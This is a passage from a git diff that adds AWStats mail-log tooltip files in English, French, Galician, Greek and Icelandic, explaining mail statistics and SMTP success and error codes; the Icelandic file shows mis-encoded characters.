mail server indicates that the mailing has been interrupted, usually due to overloading from too many messages or transient failure is one in which the message sent is valid, but some temporary event prevents the successful sending of the message. Sending in the future may be successful</div> +<div class="CTooltip" id="tt452"><b>Temporary error:</b> Your ISP mail server indicates, probable overloading from too many messages and sending in the future may be successful</div> +<div class="CTooltip" id="tt453"><b>Temporary error:</b> Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up it could go over the max number of messages per connection. To see if this is the case you can try submitting only a few messages to that domain at a time and then keep increasing the number until you find the maximum number accepted by the server</div> + +<div class="CTooltip" id="tt500"><b>Permanent error:</b> Syntax error, command unrecognized or command line too long</div> +<div class="CTooltip" id="tt501"><b>Permanent error:</b> Syntax error in parameters or arguments</div> +<div class="CTooltip" id="tt502"><b>Permanent error:</b> Command not implemented</div> +<div class="CTooltip" id="tt503"><b>Permanent error:</b> Server encountered bad sequence of commands</div> +<div class="CTooltip" id="tt504"><b>Permanent error:</b> Command parameter not implemented</div> +<div class="CTooltip" id="tt521"><b>Permanent error:</b> You must be pop-authenticated before you can use this SMTP server and you must use your mail address for the Sender/From field.</div> +<div class="CTooltip" id="tt530"><b>Permanent error:</b> Access denied. A sendmailism ?</div> +<div class="CTooltip" id="tt550"><b>Permanent error:</b> Sending an email to recipients outside of your domain are not allowed or your mail server does not know that you have access to use it for relaying messages and authentication is required. Or to prevent the sending of SPAM some mail servers will not allow (relay) send mail to any e-mail using another company’s network and computer resources.</div> +<div class="CTooltip" id="tt551"><b>Permanent error:</b> User not local: please try <forward-path> or Invalid Address: Relay request denied</div> +<div class="CTooltip" id="tt552"><b>Permanent error:</b> Requested mail action aborted: exceeded storage allocation. ISP mail server indicates, probable overloading from too many messages.</div> +<div class="CTooltip" id="tt553"><b>Permanent error:</b> Requested mail action not taken: mailbox name not allowed. Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up (being sent) for a domain, it could go over the maximum number of messages per connection and/or some change to the message and/or destination must be made for successful delivery.</div> +<div class="CTooltip" id="tt554"><b>Permanent error:</b> Requested mail action rejected: access denied</div> +<div class="CTooltip" id="tt557"><b>Permanent error:</b> Too many duplicate messages. Resource temporarily unavailable Indicates (probable) that there is some kind of anti-spam system on the mail server.</div> + +<div class="CTooltip" id="tt999">This is an unknown error. A such error is not reported by the mail server but by the maillogconvert.pl tool when it detects in the log that the sending was not successfull and the log file does not contains any explanation of the error.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-fr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-fr.txt new file mode 100644 index 0000000..d50a9d9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-fr.txt @@ -0,0 +1,68 @@ +<!-- French tooltips message file (eldy@users.sourceforge.net) --> +<!-- $Revision: 1.5 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Nombre de hotes (<b>adresses IP</b>) utilisés pour envoyés un mail.<br /> +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Nombre de fois qu'un <b>email</b> a été <b>transféré</b> avec succès.<br /> +</div> +<div class="CTooltip" id="tt5"> +Nombre d'<b>octets</b> représentant le volume des mails transférés.<br /> +Les unités sont en Ko, Mo ou Go (Kilooctets, Megaoctets or Gigaoctets) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Toutes les statistiques en rapport avec le temps sont basées sur les heures du serveur.<br /> +</div> +<div class="CTooltip" id="tt18"> +Ici les données rapportées sont des: <b>valeurs moyennes</b> (calculées à partir des données entre le premier et dernier email de la période analysée) +</div> +<div class="CTooltip" id="tt19"> +Ici les données rapportées sont des: <b>sommes cumulées</b> (calculées à partir des données entre le premier et dernier email de la période analysée) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Success:</b> Non standard success response</div> +<div class="CTooltip" id="tt211"><b>Success:</b> System status, or system help repl</div> +<div class="CTooltip" id="tt214"><b>Success:</b> Help message</div> +<div class="CTooltip" id="tt220"><b>Success:</b> <domain> Service ready</div> +<div class="CTooltip" id="tt221"><b>Success:</b> <domain> Service closing transmission channel</div> +<div class="CTooltip" id="tt250"><b>Success:</b> Your ISP mail server have successfully executes a command and the DNS is reporting a positive delivery</div> +<div class="CTooltip" id="tt251"><b>Success:</b> Your message to a specified email address is not local to the mail server, but it will accept and forward the message to a different recipient email address</div> +<div class="CTooltip" id="tt252"><b>Success:</b> Recipient cannot be verified but mail server accepts the message and attempts delivery</div> + +<div class="CTooltip" id="tt354"><b>Success:</b> Indicates mail server is ready to accept the message or instruct your mail client to send the message body after the mail server have received the message headers.</div> + +<div class="CTooltip" id="tt421"><b>Temporary error:</b> This may be a reply to any command if the service knows it must shut down.</div> +<div class="CTooltip" id="tt450"><b>Temporary error:</b> Your ISP mail server indicates that an email address does not exist, mailbox is busy or mail temporarly refused. It could be the network connection went down while sending, or it could also happen if the remote mail server does not want to accept mail from you for some reason i.e. (IP address, From address, Recipient, etc.)</div> +<div class="CTooltip" id="tt451"><b>Temporary error:</b> Your ISP mail server indicates that the mailing has been interrupted, usually due to overloading from too many messages or transient failure is one in which the message sent is valid, but some temporary event prevents the successful sending of the message. Sending in the future may be successful</div> +<div class="CTooltip" id="tt452"><b>Temporary error:</b> Your ISP mail server indicates, probable overloading from too many messages and sending in the future may be successful</div> +<div class="CTooltip" id="tt453"><b>Temporary error:</b> Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up it could go over the max number of messages per connection. To see if this is the case you can try submitting only a few messages to that domain at a time and then keep increasing the number until you find the maximum number accepted by the server</div> + +<div class="CTooltip" id="tt500"><b>Permanent error:</b> Syntax error, command unrecognized or command line too long</div> +<div class="CTooltip" id="tt501"><b>Permanent error:</b> Syntax error in parameters or arguments</div> +<div class="CTooltip" id="tt502"><b>Permanent error:</b> Command not implemented</div> +<div class="CTooltip" id="tt503"><b>Permanent error:</b> Server encountered bad sequence of commands</div> +<div class="CTooltip" id="tt504"><b>Permanent error:</b> Command parameter not implemented</div> +<div class="CTooltip" id="tt521"><b>Permanent error:</b> You must be pop-authenticated before you can use this SMTP server and you must use your mail address for the Sender/From field.</div> +<div class="CTooltip" id="tt530"><b>Permanent error:</b> Access denied. A sendmailism ?</div> +<div class="CTooltip" id="tt550"><b>Permanent error:</b> Sending an email to recipients outside of your domain are not allowed or your mail server does not know that you have access to use it for relaying messages and authentication is required. Or to prevent the sending of SPAM some mail servers will not allow (relay) send mail to any e-mail using another company’s network and computer resources.</div> +<div class="CTooltip" id="tt551"><b>Permanent error:</b> User not local: please try <forward-path> or Invalid Address: Relay request denied</div> +<div class="CTooltip" id="tt552"><b>Permanent error:</b> Requested mail action aborted: exceeded storage allocation. ISP mail server indicates, probable overloading from too many messages.</div> +<div class="CTooltip" id="tt553"><b>Permanent error:</b> Requested mail action not taken: mailbox name not allowed. Some mail servers have the option to reduce the number of concurrent connection and also the number of messages sent per connection. If you have a lot of messages queued up (being sent) for a domain, it could go over the maximum number of messages per connection and/or some change to the message and/or destination must be made for successful delivery.</div> +<div class="CTooltip" id="tt554"><b>Permanent error:</b> Requested mail action rejected: access denied</div> +<div class="CTooltip" id="tt557"><b>Permanent error:</b> Too many duplicate messages. Resource temporarily unavailable Indicates (probable) that there is some kind of anti-spam system on the mail server.</div> + +<div class="CTooltip" id="tt999">This is an unknown error. A such error is not reported by the mail server but by the maillogconvert.pl tool when it detects in the log that the sending was not successfull and the log file does not contains any explanation of the error.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gl.txt new file mode 100644 index 0000000..be4bf02 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gl.txt @@ -0,0 +1,63 @@ +<!-- Galician tooltips message file by Ignacio Agull� (agullo@ati.es) --> +<!-- $Revision: 1.1 $ - $Date: 2010/07/15 22:06:20 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Número de máquinas cliente (<b>enderezos IP</b>) que envían correos electrónicos. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Número de veces que un <b>correo electrónico</b> foi transferido con éxito.<br /> +</div> +<div class="CTooltip" id="tt5"> +Esta é a cantidade total de datos transferidos por correo electrónico.<br /> +As unidades están en KB, MB ou GB (Kilooctetos, Megaoctetos ou Gigaoctetos) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Tódalas estatísticas relacionadas co tempo baséanse na hora do servidor.<br /> +</div> +<div class="CTooltip" id="tt18"> +Aquí, os datos expostos son <b>valores medios</b> (calculados a partir de tódolos datos entre o primeiro e derradeiro correo electrónico no rango analizado) +</div> +<div class="CTooltip" id="tt19"> +Aquí, os datos expostos son <b>sumas acumulativas</b> (calculados a partir de tódolos datos entre a primeiro e o derradeiro correo electrónico no rango analizado) +</div> +<div class="CTooltip" id="tt20"> +</div> +<div class="CTooltip" id="tt200"><b>Éxito:</b> Resposta non estándar de éxito</div> +<div class="CTooltip" id="tt211"><b>Éxito:</b> Estado do sistema, ou axuda do sistema</div> +<div class="CTooltip" id="tt214"><b>Éxito:</b> Mensaxe de axuda</div> +<div class="CTooltip" id="tt220"><b>Éxito:</b> <domain> Servizo listo</div> +<div class="CTooltip" id="tt221"><b>Éxito:</b> <domain> Servizo pechando canal de transmisión</div> +<div class="CTooltip" id="tt250"><b>Éxito:</b> O servidor de correo do seu ISP executou un mandato con éxito e o DNS informa dunha entrega positiva</div> +<div class="CTooltip" id="tt251"><b>Éxito:</b> A súa mensaxe para un enderezo de correo electrónico especificado non é local para o servidor de correo, pero aceptará e reenviará a mensaxe a un enderezo de correo electrónico de un recipiente diferente</div> +<div class="CTooltip" id="tt252"><b>Éxito:</b> O Recipiente non se pode verificar pero o servidor de correo acepta a mensaxe e intenta a entrega</div> +<div class="CTooltip" id="tt354"><b>Éxito:</b> Indica que o servidor de correo está listo para aceptar a mensaxe ou indicar ao seu cliente de correo que envíe o corpo da mensaxe despois de que o servidor de correo reciba as cabeceiras da mensaxe.</div> +<div class="CTooltip" id="tt421"><b>Erro temporal:</b> Esta pode ser unha resposta a calquera mandato se o servizo sabe que debe pecharse.</div> +<div class="CTooltip" id="tt450"><b>Erro temporal:</b> O servidor de correo do seu ISP indica que un enderezo de correo electrónico non existe, a caixa do correo está ocupada ou o correo temporalmente rexeitado. Podería ser que a conexión de rede fallara durante o envío, ou tamén podería ocorrer se o servidor remoto de correo non quere aceptar correo de vostede por algunha razón (enderezo IP, enderezo Desde, Recipiente, etc.)</div> +<div class="CTooltip" id="tt451"><b>Erro temporal:</b> O servidor de correo do seu ISP indica que o envío foi interrumpido, usualmente debido a sobrecarga por demasiadas mensaxes ou fallo de transmisión no que a mensaxe enviada é válida, pero algún evento temporal evita o envío con éxito da mensaxe. Enviala no futuro pode ter éxito</div> +<div class="CTooltip" id="tt452"><b>Erro temporal:</b> O servidor de correo do seu ISP indica, probable sobrecarga por exceso de mensaxes e enviar no futuro pode ter éxito</div> +<div class="CTooltip" id="tt453"><b>Erro temporal:</b> Algúns servidores de correo teñen a opción de reducir o número de conexións concurrentes e tamén o número de mensaxes enviadas por conexión. Se ten un montón de mensaxes para enviar poderíase superar o número máximo de mensaxes por conexión. Para ver se este é o caso pode tentar de enviar soamente unhas poucas mensaxes a ese dominio por vez e entón seguir incrementando o número ata que atope o número máximo aceptado polo servidor</div> +<div class="CTooltip" id="tt500"><b>Erro permanente:</b> Erro de sintaxe, mandato non recoñecido ou liña de mandato demasiado longa</div> +<div class="CTooltip" id="tt501"><b>Erro permanente:</b> Erro de sintaxe en parámetros ou argumentos</div> +<div class="CTooltip" id="tt502"><b>Erro permanente:</b> Mandato non implementado</div> +<div class="CTooltip" id="tt503"><b>Erro permanente:</b> O servidor atopou unha mala secuencia de mandatos</div> +<div class="CTooltip" id="tt504"><b>Erro permanente:</b> Parámetro de mandato non implementado</div> +<div class="CTooltip" id="tt521"><b>Erro permanente:</b> Debe estar pop-autenticado antes de poder usar este servidor SMTP e debe usar o seu enderezo de correo no campo Remitente/Desde.</div> +<div class="CTooltip" id="tt530"><b>Erro permanente:</b> Acceso denegado. ¿Unha routada do sendmail?</div> +<div class="CTooltip" id="tt550"><b>Erro permanente:</b> Enviar un correo electrónico a recipientes fora do seu dominio non está permitido ou o seu servidor de correo non sabe que vostede ten acceso para usalo para despachar mensaxes e se require autenticación. Ou para evitar o envío de SPAM algúns servidores de correo non permitirán (despachar) enviar correo a calquera correo electrónico usando a rede e recursos computativos de outra compañía.</div> +<div class="CTooltip" id="tt551"><b>Erro permanente:</b> Usuario non local: por favor probe <forward-path> ou Invalid Address: Relay request denied</div> +<div class="CTooltip" id="tt552"><b>Erro permanente:</b> A acción de correo requirida foi abortada: excedeuse a capacidade de almacenamento. O servidor de correo do ISP indica, probable sobrecarga por exceso de mensaxes.</div> +<div class="CTooltip" id="tt553"><b>Erro permanente:</b> A acción de correo requirida non se fixo: o nome da caixa de correo non está permitido. Algúns servidores de correo teñen a opción de reducir o número de conexións concurrentes e tamén o número de mensaxes enviadas por conexión. Se ten un montón de mensaxes para enviar para un dominio, poderíase superar o número máximo de mensaxes por conexión e/ou algún cambio á mensaxe e/ou destino debe facerse para unha entrega con éxito.</div> +<div class="CTooltip" id="tt554"><b>Erro permanente:</b> A acción de correo requirida foi rexeitada: acceso denegado</div> +<div class="CTooltip" id="tt557"><b>Erro permanente:</b> Demasiadas mensaxes duplicadas. Recurso temporalmente non dispñible indica (probablemente) que hai algunha clase de sistema anti-spam no servidor de correo.</div> +<div class="CTooltip" id="tt999">Éste é un erro descoñecido. Tal erro non é indicado polo servidor de correo senón pola ferramenta maillogconvert.pl cando detecta no rexistro que o envío non tivo éxito e o rexistro non contén ningunha explicación do erro.</div> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gr.txt new file mode 100644 index 0000000..ae477da --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-gr.txt @@ -0,0 +1,65 @@ + +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Αριθμός από διαφορετικούς πελάτες (<b>IP διευθύνσεις</b>) που έστειλαν mails. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Αριθμός επιτυχών μεταφορών <b>email</b>.<br /> +</div> +<div class="CTooltip" id="tt5"> +Αυτό είναι το συνολικό μέγεθος δεδομένων που μεταφέρθηκαν μέσω email.<br /> +ΟΙ μονάδες είναι σε KB, MB ή GB (KiloBytes, MegaBytes ή GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Όλα τα στατιστικά που συσχετίζονται με χρόνο είναι βάση της ώρας του διακομιστή.<br /> +</div> +<div class="CTooltip" id="tt18"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>μέσος όρος τιμών</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης)</div> +<div class="CTooltip" id="tt19"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>συγκεντρωτικά σύνολα</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης)</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Επιτυχία:</b> Μη τυπικό μύνημα επιτυχίας</div> +<div class="CTooltip" id="tt211"><b>Επιτυχία:</b> Κατάσταση συστήματος, ή απόκριση βοήθειας συστήματος</div> +<div class="CTooltip" id="tt214"><b>Επιτυχία:</b> Μήνυμα βοήθειας</div> +<div class="CTooltip" id="tt220"><b>Επιτυχία:</b> <domain> Η υπηρεσία σε ετοιμότητα</div> +<div class="CTooltip" id="tt221"><b>Επιτυχία:</b> <domain> Η υπηρεσία κλείνει το κανάλι μετάδοσης</div> +<div class="CTooltip" id="tt250"><b>Επιτυχία:</b> Ο διακομιστής mail του ISP σας εκτέλεσε με επιτυχία μία εντολή και ο DNS αναφέρει επιτυχή παράδοση</div> +<div class="CTooltip" id="tt251"><b>Επιτυχία:</b> Το μήνυμα για μια συγκεκριμένη email διεύθυνση δεν είναι τοπικό όσον αφορά τον διακομιστή, αλλά θα το δεχτεί και θα το προωθήσει σε μια διαφορετική διεύθυνση παραλήπτη</div> +<div class="CTooltip" id="tt252"><b>Επιτυχία:</b> Ο παραλήπτης δεν μπορεί να επιβεβαιωθεί αλλά ο διακομιστής mail αποδέχεται το μήνυμα και δοκιμάζει την παράδοσή του</div> + +<div class="CTooltip" id="tt354"><b>Επιτυχία:</b> Δείχνει ότι ο διακομιστής mail είναι έτοιμος να παραλάβει το μήνυμα ή δίνει εντολή στο πρόγραμμα πελάτη αλληλογραφίας να στείλει το σώμα του μυνήματος, αφού ο διακομιστής mail παραλάβει την επικεφαλίδα του μυνήματος.</div> + +<div class="CTooltip" id="tt421"><b>Προσωρινό σφάλμα:</b> Αυτό μπορεί να είναι απόκριση σε οποιαδήποτε εντολή όταν η υπηρεσία γνωρίζει ότι θα πρέπει να τερματιστεί.</div> +<div class="CTooltip" id="tt450"><b>Προσωρινό σφάλμα:</b> Ο διακομιστής mail του ISP σας δείχνει ότι μια διεύθυνση mail δεν υπάρχει, ότι η θυρίδα mail είναι απασχολημένη ή ότι το email απορρίφθηκε προσωρινά. Μπορεί να σημαίνει προσωρινό πρόβλημα στην σύνδεση δικτύου κατά την διάρκεια της αποστολής, ή μπορεί να συμβεί επίσης εάν ο απομακρυσμένος διακομιστής mail δεν επιτρέπει την αποδοχή email από εσάς για οποιονδήποτε λόγο π.χ. (Διεύθυνση IP, Διεύθυνση Αποστολέα. Διεύθυνση Παραλήπτη, κτλ.)</div> +<div class="CTooltip" id="tt451"><b>Προσωρινό σφάλμα:</b> Ο διακομιστής mail του ISP σας δείχνει ότι διεκόπη η υπηρεσία mail, συνήθως λόγω υπερφόρτωσης από πάρα πολλά μυνήματα ή λόγω ενδιάμεσης αποτυχίας στην περίπτωση κατά την οποία, παρόλο που το μύνημα είναι έγκυρο, κάποιο προσωρινό σφάλμα αποτρέπει την επιτυχή αποστολή του μυνήματος. Μελλοντική αποστολή θα είναι πιθανόν επιτυχής</div> +<div class="CTooltip" id="tt452"><b>Προσωρινό σφάλμα:</b> Ο διακομιστής mail του ISP σας δείχνει πιθανή υπερφόρτωση από μεγάλο αριθμό μυνημάτων καθώς και ότι μελλοντική αποστολή πιθανόν να είναι επιτυχής</div> +<div class="CTooltip" id="tt453"><b>Προσωρινό σφάλμα:</b> Κάποιοι διακομιστές mail έχουν την επιλογή να μειώσουν τον αριθμό ταυτόχρονων συνδέσεων καθώς και επίσης τον αριθμό των μυνημάτων που αποστέλλονται ανά σύνδεση. Εάν έχετε μεγάλο αριθμό μυνημάτων στην ουρά πιθανόν να ξεπερνάει αυτό το όριο. Για να δείτε εάν όντως αυτή είναι η περίπτωση μπορείται να δοκιμάσετε να αποστείλνετε μικρό αριθμό μυνημάτων σε αυτόν τον διακομιστή mail κάθε φορά και να αυξάνεται σταδιακά τον αριθμό αυτό μέχρις ότου να βρείτε τον μέγιστο αριθμό μυνημάτων που γίνεται ταυτόχρονα αποδεκτός από τον διακομιστή</div> + +<div class="CTooltip" id="tt500"><b>Μόνιμο σφάλμα:</b> Συντακτικό λάθος, μη αναγνωρίσιμη εντολή ή πολύ μεγάλη γραμμη εντολών ( με παραμέτρους)</div> +<div class="CTooltip" id="tt501"><b>Μόνιμο σφάλμα:</b> Συντακτικό λάθος στις παραμέτρους της εντολής</div> +<div class="CTooltip" id="tt502"><b>Μόνιμο σφάλμα:</b> Η εντολή δεν έχει υλοποιηθεί</div> +<div class="CTooltip" id="tt503"><b>Μόνιμο σφάλμα:</b> Ο διακομιστής συνάντησε μία λανθασμένη αλληλουχία εντολών</div> +<div class="CTooltip" id="tt504"><b>Μόνιμο σφάλμα:</b> Η παράμετρος της εντολής δεν έχει υλοποιηθεί</div> +<div class="CTooltip" id="tt521"><b>Μόνιμο σφάλμα:</b> Θα πρέπει να πιστοποιηθεί η pop σύνδεσή σας πριν την επιτυχή χρήση αυτού του διακομιστή SMTP και θα πρέπει να χρησιμοποιήσεται την διεύθυνση email για το πεδίο Αποστολέα.</div> +<div class="CTooltip" id="tt530"><b>Μόνιμο σφάλμα:</b> Απόρριψη πρόσβασης. Μήπως λόγω συμπεριφοράς που χαρακτηρίζεται ως sendmailism;</div> +<div class="CTooltip" id="tt550"><b>Μόνιμο σφάλμα:</b> Αποστολές email σε αποδέκτες εκτός του domain σας δεν επιτρέπονται ή ο διακομιστής email σας δεν γνωρίζει ότι έχετε πρόσβαση για να τον χρησιμοποιήσετε για την αποστολή μυνημάτων και χρειάζεται πιστοποίηση. Η για την αποφυγή αποστολής SPAM κάποιοι διακομιστές mail δεν επιτρέπουν την αποστολή σε κανένα email χρησιμοποιώντας το δίκτυο ή τους πόρους άλλης εταιρείας.</div> +<div class="CTooltip" id="tt551"><b>Μόνιμο σφάλμα:</b> Ο χρήστης δεν είναι τοπικός: παρακαλώ προσπαθήστε <forward-path> ή μη έγκυρη διεύθυνση: Η αίτηση αποστολής απορρίφθηκε</div> +<div class="CTooltip" id="tt552"><b>Μόνιμο σφάλμα:</b> Η αιτούμενη ενέργεια mail ακυρώθηκε: υπέρβαση ορίου αποθήκευσης. Ο διακομιστής mail του ISP δείχνει πιθανή υπερφόρτωση λόγω μεγάλου αριθμού μυνημάτων.</div> +<div class="CTooltip" id="tt553"><b>Μόνιμο σφάλμα:</b> Η αιτούμενη ενέργεια mail δεν πραγματοποιήθηκε: το όνομα της θυρίδας mail δεν επιτρέπεται. Κάποιοι διακομιστές mail έχουν την επιλογή να μειώσουν τον αριθμό των ταυτόχρονων συνεσεων καθώς και επίσης τον αριθμό των ταυτόχρονων μυνημάτων που αποστέλλονται ανά σύνδεση. Εάν έχετε πολλά μυνήματα στην ουρά σας για αποστολή πρός ένα domain, μπορεί να γίνει υπέρβαση του ορίου αυτού και θα πρέπει να γίνουν κάποιες αλλαγές στα μηνύματα ή στους παραλήπτες για επιτυχή παράδοση.</div> +<div class="CTooltip" id="tt554"><b>Μόνιμο σφάλμα:</b> Η αιτούμενη ενέργεια mail απορρίφθηκε: άρνηση πρόσβασης</div> +<div class="CTooltip" id="tt557"><b>Μόνιμο σφάλμα:</b> Μεγάλος αριθμός όμοιων μηνυμάτων. Ο πόρος είναι προσωρινά μη διαθέσιμος κάτι που δείχνει ότι (πιθανόν) να υπάρχει κάποιος μηχανισμός anti-spam στον διακομιστή email.</div> + +<div class="CTooltip" id="tt999">Αυτό είναι ένα άγνωστο μύνημα σφάλματος. Ένα τέτοιο σφάλμα δεν αναφέρεται από τον διακομιστή mail αλλά από το εργαλείο maillogconvert.pl όταν ανιχνεύει στο αρχείο log ότι η αποστολή δεν ήταν επιτυχής αλλά δεν υπάρχει κάποια εξήγηση του σφάλματος αυτού στο αρχείο log.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-is.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-is.txt new file mode 100644 index 0000000..3d28f6f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-is.txt @@ -0,0 +1,64 @@ +<!-- Icelandic tooltips message file (throstur@bylur.net) --> +<!-- $Revision: 1.1 $ - $Date: 2004/09/19 11:06:05 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Fj�ldi mismunandi v�la (<b>IP-vistfanga</b>) sem sendu br�f. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Fj�ldi skipta sem <b>t�lvup�stur</b> var giftusamlega sendur.<br /> +</div> +<div class="CTooltip" id="tt5"> +�etta er heildargagnamagn sem hala� var ni�ur sem p�stur.<br /> +Einingar eru � KB, MB e�a GB (K�l�B�ti, MegaB�ti e�a G�gaB�ti) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +�ll t�matengd t�lfr��i er bygg� � klukku net�j�ns.<br /> +</div> +<div class="CTooltip" id="tt18"> +G�gn � �essari sk�rslu eru: <b>me�algildi</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta br�fs � greindu t�mabili) +</div> +<div class="CTooltip" id="tt19"> +G�gn � �essari sk�rslu eru: <b>samt�lur</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta br�fs � greindu t�mabili) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>�rangursr�kt:</b> �sta�la� j�kv�tt svar</div> +<div class="CTooltip" id="tt211"><b>�rangursr�kt:</b> Sta�a kerfis, e�a svar vi� hj�lparbei�ni</div> +<div class="CTooltip" id="tt214"><b>�rangursr�kt:</b> Hj�lparskilabo�</div> +<div class="CTooltip" id="tt220"><b>�rangursr�kt:</b> <domain> �j�nusta tilb�in</div> +<div class="CTooltip" id="tt221"><b>�rangursr�kt:</b> <domain> �j�nusta loka�i flutningsr�s</div> +<div class="CTooltip" id="tt250"><b>�rangursr�kt:</b> P�st�j�nn netveitu �innar hefur framkv�mt skipun giftusamlega og nafna�j�nninn gefur til kynna a� br�finu hafi veri� komi� til skila</div> +<div class="CTooltip" id="tt251"><b>�rangursr�kt:</b> Br�f �itt til �kve�ins netfangs er ekki sta�bundi� vi� p�st�j�ninn, en hann sam�ykkir br�fi� og sendir �a� �fram � anna� netfang</div> +<div class="CTooltip" id="tt252"><b>�rangursr�kt:</b> Ekki var h�gt a� sta�festa tilveru m�ttakanda en p�st�j�nninn t�k � m�ti br�finu og reynir afhendingu</div> +<div class="CTooltip" id="tt354"><b>�rangursr�kt:</b> Gefur til kynna a� p�st�j�nn er tilb�inn a� taka � m�ti br�finu e�a segja p�stforriti ��nu a� senda a�altexta br�fsins eftur a� p�st�j�nninn hefur teki� � m�ti hausum br�fsins.</div> +<div class="CTooltip" id="tt421"><b>T�mabundin villa:</b> �etta g�ti veri� villa vi� hva�a skipun sem er ef p�st�j�nninn veit a� veri� er a� sl�kkva � honum.</div> +<div class="CTooltip" id="tt450"><b>T�mabundin villa:</b> P�st�j�nn netveitu �innar gefur til kynna a� netfang s� ekki til, p�sth�lf s� uppteki� e�a p�st s� hafna� t�mabundi�. M�gulegt er a� nettengingin hafi rofna� � mi�ri sendingu, e�a ef hinn p�st�j�nninn vill ekki taka � m�ti br�fum fr� ��r einhverra hluta vegna. (T.d. IP-vistfang, Fr� netfang, m�ttakandi, o.s.frv.)</div> +<div class="CTooltip" id="tt451"><b>T�mabundin villa:</b> P�st�j�nn netveitu �innar gefur til kynna a� p�stflutningur var trufla�ur, venjulega vegna �ess a� of m�rg br�f eru � vinnslu e�a t�mabundin villa kemur � veg fyrir a� br�fi� s� sent ��tt br�fi� s� gilt. Sending � framt��inni g�ti veri� �rangursr�k.</div> +<div class="CTooltip" id="tt452"><b>T�mabundin villa:</b> P�st�j�nn netveitu �innar gefur til kynna a� of miki� �lag s� � honum vegna of marga br�fa � vinnslu. Sending � framt��inni g�ti veri� �rangursr�k.</div> +<div class="CTooltip" id="tt453"><b>T�mabundin villa:</b> Sumir p�st�j�nar hafa stillingu sem takmarkar fj�lda tenginga � einu og einnig fj�lda sendra br�fa � hverri tengingu. Ef �� ert me� m�rg br�f � bi� g�tu �au fari� yfir h�marksfj�lda br�fa fr� hverri tengingu. Til a� athuga hvort �etta s� vandam�li� getur �� pr�fa� a� senda �rf� br�f til �essa l�ns � einu og s��an h�kka� fj�ldann �ar til �� finnur �t hver h�marksfj�ldi sam�ykktur af net�j�ninum er</div> +<div class="CTooltip" id="tt500"><b>Varanleg villa:</b> St�lvilla, ��ekkt skipun e�a skipanal�na of l�ng</div> +<div class="CTooltip" id="tt501"><b>Varanleg villa:</b> St�lvilla � f�ribreytu</div> +<div class="CTooltip" id="tt502"><b>Varanleg villa:</b> Skipun ekki �tf�r�</div> +<div class="CTooltip" id="tt503"><b>Varanleg villa:</b> �j�nn rakst � ranga r�� af skipunum</div> +<div class="CTooltip" id="tt504"><b>Varanleg villa:</b> F�ribreyta skipunar ekki �tf�r�</div> +<div class="CTooltip" id="tt521"><b>Varanleg villa:</b> �� ver�ur a� au�kenna �ig me� POP ��ur en �� getur nota� �ennan SMTP �j�n og �� ver�ur a� nota netfang �itt �r Fr� reitinum.</div> +<div class="CTooltip" id="tt530"><b>Varanleg villa:</b> A�gangi hafna�. 